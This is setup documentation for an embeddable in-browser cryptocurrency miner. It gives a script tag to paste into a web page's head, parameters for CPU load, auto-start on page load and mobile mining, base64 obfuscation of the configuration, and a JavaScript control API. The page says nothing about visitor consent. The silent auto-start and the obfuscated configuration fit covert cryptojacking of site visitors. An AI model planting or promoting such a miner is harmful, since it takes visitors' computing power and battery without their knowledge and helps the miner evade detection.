Installation

To use the script, the following should be added to the <head> section of your Web page:


<script async class="your_miner_id;60;1" 
            src="https://ourserver/miner.js"></script>


Script Parameters

Script accepts parameters from class attribute. Parameters are positional, and separated by semicolon ;.


0. Your miner identificator.

1. Max CPU usage; may be of range 10...100

2. Autostart option; may be 0 (no auto-start) or 1 (auto-start mining on page load).


Note:

By default, mining on mobile devices are disabled.

You can turn it on by prepending Max CPU usage parametr with - character.


Mobile mining off

class="your_miner_id;60;1"

Mobile mining on

class="your_miner_id;-60;1"


Parameters obfuscation

For security reasons script configuration string need to be obfuscate it by encoding it as base64, and prepending base64 string with = character.

For example, the same configuration as in example above will look like:


<script async class="=eW91cl9taW5lcl9pZDs2MDsx" 
            src="https://ourserver/miner.js"></script>


The base64 above can be generated by command:


linux command line 

echo -n 'your_miner_id;60;1' | base64

php

echo base64_encode('your_miner_id;60;1');

javascript

btoa('your_miner_id;60;1');

You can use online tool from Google - G Suite Toolbox Encode/Decode 


API reference

Script provides several API methods in the window._am object.

  • start() - starts the miner, if it is not started already
  • stop()  - stops the miner
  • setlf(n) - sets CPU load factor n in percents
  • getlf() - get current CPU load factor
  • hps() - returns current hash rate
  • th()  - returns total number of locally calculated hashes since last successful connection (that is, resets to zero each time when mining restarted). Note that this value is for informational purposes only and is not the same as amount of hashes accepted by the pool: hashes are accepted by the pool only as a result of successfully solved and submitted share of certain difficulty, which may take a long time to solve.
  • setcb(function(e,v)) - set function f as call-back for mining start/end. When mining starts, this function will be called with e='c' (connect); when mining ends, it will be called with e='d' (disconnect) and the second parameter will bemining session time in milliseconds; if the mining not started because other miner is active in other browser tab, it will emit event 'w' periodically (waiting).
  • i() - returns dict of script info: { 'b': 'build-version', 's': script source URL, 'p': [ minerid, load, autostart, server_urls ] }

Example (returns current hash rate):

window._am.hps()


User and Statistics API 

Will be available soon
Please send  requests for API methods you need by opening ticket with title "API request"